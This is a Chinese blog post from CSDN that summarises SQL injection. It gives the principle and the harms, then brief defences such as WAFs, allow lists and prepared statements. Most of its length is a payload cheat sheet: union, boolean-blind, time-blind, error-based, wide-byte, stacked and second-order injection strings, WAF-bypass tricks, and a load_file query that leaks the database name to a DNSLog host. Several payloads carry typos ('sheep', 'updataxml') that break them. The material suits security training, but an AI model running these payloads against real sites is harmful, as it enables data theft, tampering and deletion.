SQL注入总结

本文详细阐述了SQL注入的原理、危害,以及防御方法,包括集成安全设备、黑名单/白名单、预编译SQL等,并介绍了不同类型的注入点、提交方式和页面反馈的区分,还涵盖了联合注入、布尔盲注、时间盲注、报错注入、宽字节注入、堆叠注入、二次注入和SQL绕过的实例。
摘要由CSDN通过智能技术生成

sql注入

原理

原本的sql语句在与用户可控的参数经过了拼接、替换、编码等这些字符串操作后,得到一个新的sql语句被数据库解析,达到非预期的结果。

危害

会导致数据库中的数据泄露、数据篡改、网页篡改、甚至被删库, 如果数据库开启了文件读写权限,还有可能导致网页挂马、服务器被写入木马等,getshell从而导致内网被攻击

防御

1、集成式安全设备如:waf,IDS、IPS可以拦截大部分的攻击,但不绝对,存在一定的绕过风险

2、黑/白名单:黑名单禁止规定名单内的参数格式、参数长度、特殊字符、转义或者编码后的特写字符等;白名单只允许规定名单内的参数通过,安全性较高

3、预编译SQL:是当前最流行防御sql注入的方法,几乎所有主流的开发框架都是使用这种方法;预编译其实就是SQL引擎 先对 SQL 语句进行分析编译,然后再去填充参数,目前来说这种技术是可以完全防御 SQL 注入的

注入点类型:
1、注入点区分:

a、数字型注入:如 ?id=1 的传参,可以控制 ?id 的值进行判断是否有注入点

b、字符型注入:如数字型注入一样,但得在值后面进行闭合和添加注释符

闭合方式:

单引号:?id=1'

双引号:?id=1"

括号(): ?id=1)

括号+单引号:?id=1')

括号+双引号: ?id=1")

多层括号+单引号: ?id=1')) 、?id=1'))) 之类

多层括号+双引号: ?id=1")) 、?id=1"))) 之类

c、搜索型注入:主要是进行搜索时网站没过滤搜索关键字

2、提交方式区分:

a、GET注入:

GET提交数据的方式的特点是将用户操作生成的语句直接显示在url上,如URL为:http://xxx.com/index.php?id=1 , id = 输入的内容可能是注入点。

b、POST注入:

POST提交的页面通常需要一定的保密性,常见于用户登录页面,用户操作生成的语句不会直接显示在url中,而是会存在于数据包(表单)中,需要通过抓包才能获取;抓取数据包后,可以通过修改提交的内容,结合网站页面反馈,判断能否注入。

c、COOKIE注入:

HTTP 请求表单中会带上客户端的 Cookie, 注入点存在 于Cookie 当中的某个字段中。和POST一样,Cookie也要通过抓包来查看

3、页面执行反馈区分:

a、布尔盲注:通过网页的是否正常响应来推断数据库的信息。True时网页正常,False时网页不正常

b、时间盲注:通过网页的响应时间来推断数据库的信息

c、报错注入:通过网页的反馈操作的错误信息,有的会直接把错误的sql语句反馈在页面中

注入方式分类:

1、联合注入

原理:将多个SELECT语句的结果合并到一个结果集中

相关函数

  • group_concat(参数1,参数2,参数3等等无数个参数)语法: group_concat函数返回一个字符串结果(就是返回一行),该结果由括号中的各个参数值执行然后连接组合而成

  • char():还原ASCII码为字符

例:?id=1' 【 " 、 ') 、 ") 、'))) 、 "))) 】 通过闭合判断是数字型 还是 字符型

?id=1 and 1=1/2 --+ 判断是否与数据库交互,数值相等正常显示,数值不相等不正常显示

?id=1 order by 5 --+ 利用二分法进行判断有多少个 字段数

?id=-1 union select 1,2,3,4,5 --+ 寻找网页是否有回显位置

?id=-1 union select 1,database(),3,4,5 --+ 得到当前数据库名字(假设2,3是回显位)**

?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database() --+ 得到当前 laor 数据库所有表名

?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name = 'user' and table_schema=database() --+ 得到当前 laor 数据库的 user 表的所有列名

?id=-1 union select username,password from users --+ 得到当前 laor 数据库的 user 表中username、password 列的所有数据

2、布尔盲注

原理:通过网页的是否正常响应来推断数据库的信息。True时网页正常,False时网页不正常

相关函数:

(1)length:返回值为字符串的字节长度 (2)ascii:把字符转换成ascii码值的函数 (3)substr(str, pos, len):在str中从pos开始的位置(起始位置为1),截取len个字符 (4)count:统计表中记录的一个函数,返回匹配条件的行数 (5)limit: limit x :检索前x行数据,显示1-10行数据(x>0) limit(x,y):检索从x+1行开始的y行数据

(6)if(条件表达式,true,false); 1 代表就是true ; 0 代表就是false

例:?id=1/1

?id=1/2 通过 / 计算判断是否存在与数据库交互,假如是 1/1 即为 true ; 1/2 或者其他即为 false

?id=1/(length(database())-x) 通过计算判断数据库名字长度

?id=1/(ascii(substr(database()),1,1)-x) 通过计算判断数据库第一个字符的 ascii 值 以此类推,推算出数据库完整的名字

?id=1 and (substr(select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='x' --+ 通过计算x来推算当前数据库所有表的名字

?id=1 and (substr(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),1,1)='x' --+ 通过计算x来推算当前数据库的 user 表所有列的名字

?id=1 and ascii(substr(select username from user),y,1)='x' 通过计算x来推算当前数据库的 user 表所 username 列的所有数据

3、时间盲注

原理:通过网页的响应时间来推断数据库的信息

常用函数:

sheep(x) 延迟x秒

有延迟:True页面 没有延迟:False页面

例:

?id=1 and if(length(database())=x,sleep(3),0) --+ 通过网页回显速度来推算数据库的长度,假如成功则页面回显时间为 3 s

?id=1 and if((substr(database()),1,1)='x',1,sheep(3)) 通过网页回显速度来推算数据库第一个字符,假如成功则页面回显时间为 3 s

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) -–+ 通过网页回显速度来推算当前数据库所有的表的名字

?id=1 and if(ascii(substr((select column_name from information _schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1))=x,1,sleep(5)) -–+ 通过网页回显速度来推算当前数据库的 user 表所有列的名字

?id=1 and if(ascii(substr((select user from username limit 0,1), 1,1))=x,1,sleep(5))–+ 通过网页回显速度推算当前数据库的 user 表中username 列的所有数据

4、报错注入

原理:就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息

常用函数:

(1)XML 文档操作相关的函数: updatexml()extractvalue()

(2)数学计算相关的函数:floor()exp()(适用mysql数据库版本是:5.5.5~5.5.49 )等

(3)图形处理相关函数:polygon()mutipolygon()

0x7e代表了波浪符(~)

(1)例:?id=1 and updataxml(1,concat(0x7e,(xxxxx),0x7e),3) 或者 ?id=1" and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) --+

?id=1 and updataxml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),3) --+

(2)例:?id=1 and exp(~(select * from (xxxxxxx)a))

?id=1" and exp(~(select * from (select database())a)) --+

?id=1" and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a)) --+

?id=1" and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a)) --+

?id=1" and exp(~(select * from(select username from 'users' limit 0,1))) --+

(3)例:?id=1 and polygon/mutipolygon (()select * from(xxxxxxxx)a)b )

?id=1 and polygon (()select * from(select database())a)b )

5、宽字节注入

原理:代码层与数据库层的编码不一致(前端用utf-8,数据库使用gbk),并且宽字节本身有“吞”ASCII字符的现象。

%df' --> %df/' (%df会吞掉/ , 只剩下 ' )--> '

宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。

例:

注入?id=1%df’ 出现报错,存在注入 http://192.168.222.4/sqli-labs/Less-32/?id=1’(不可以注入) http://192.168.222.4/sqli-labs/Less-32/?id=1%dfhttp://192.168.222.4/sqli-labs/Less-32/?id=1%df%27 MySQL在使用GBK编码时,两个字符组合,认为是一个汉字 %df’->%df/’-> %df%5c%27(%df%5c是一个汉字)->(汉字)‘->id=(汉字)’ and (可以注入)

6、堆叠注入

原理:mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句

条件要求:

  1. 存在sql注入漏洞

  2. 未对";"号进行过滤

  3. 查询数据库信息时可同时执行多条sql语句(如php中的mysqli_multi_query函数)

常用参数:

插入数据:insert into 表名(字段名 1,字段名 2,····) VALUES(值1 , 值2,---)

更新数据:update:update xxx表 set 内容/update xxx表 set 内容 where 条件

删除数据:delate:delete from xxx表/delete from xxx表 where 条件

(1)例:select * from student;select current_user(); 查看当前登录用户是谁

(2)例:select * from student;update reader set birthdate='1999-03-21' where name='张三' 把张三的出生日期改成1999-03-21

(3)例:select * from student;delete from user where id=2 删除user表中id=2 的用户

7、二次注入

原理:

(1)第一步: 构造恶意语句:语句含有被 转义字符 的恶意查询语句

(2)第二步: 插入恶意数据:进行数据库插入数据时,对其中特殊字符进行了转义处理,但在写入数据库时还是保留了原来的数据。

(3)第三步: 二次构造语句,引用恶意数据:开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出构造的恶意数据,没有进行进一步的检验

例:

(1)已知数据库中有个名为 admin 的用户

(2)在网站注册名为 admin'-- - 密码为 123456 的用户

(3)修改用户 admin'-- - 的密码,其实这里修改的是 admin 的密码

sql绕过:

1、双写 union --> ununionion

2、大小写 union --> Union

3、编码绕过:十六进制、URL、双重URL、Unicode

URL:1、?id=1 union%23a%0Aselect 1,2,3# %23(#,注释符) ,%0A (换行,这里相当于两个语句) , a 防止 waf 扫描到 union select 这样子的联合注入语句

2、?id=1 union#a --》 数据库中换行执行命令 ?id=1 union#a;

select 1,2,3# select 1,2,3#

4、内联注释绕过 /!**/ (MYSQL独有)

index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

5、绕过空格

a.编码绕过空格

- `%09`:制表
- `%0a`:换行
- `%0c`:分页
- `%20`:空格
- `%0d`:回车

b.注释绕过空格 (也可以绕过关键词)

/**/

http://xxx:xxx/Less-2/?id=-11/**/union/**/select/**/1,database(),3 --+

http://xxx:xxx/Less-2/?id=-11 union select 1,database()/**/,3 --+

6、使用同样效果的函数或命令进行特换

例:

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@[@user ]() ==> user() 
@[@datadir ]() ==> datadir() 

7、缓冲器溢出

?id=1 and (select 1)=(elect 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
​
示例0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出
​

8、HTTP参数控制 (http参数污染)

原理:在与服务器进行交互的过程中,客户端往往会在GET/POST请求中带上参数。通常在一个请求中,同名参数只会出现一次,但是在HTTP协议中是允许同名参数多次出现的。

例:请求为index.php?id=1&id=2,客户端请求首先通过tomcat解析第一个参数,接下来tomcat去请求apache服务器,而apache解析最后一个参数。实际提供服务的是apache服务器,因此返回客户端的是id=2。

?id=1&id=2 --> ?id=2

9、sqlmap --tamper 工具绕过

DNS获取不回显数据

常用函数:load_file

构造如: select load_file(concat('\\\\', (select database()), '.xxxx.dnslog.cn\\xxx')) 的语句,即可将数据库名回显到 DNSLog 上。

注:1、字符无法回显的问题,可以尝试 hex() 转为十六进制;

2、字符太长无法完整回显的问题,可以尝试 substr 截断分段回显。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值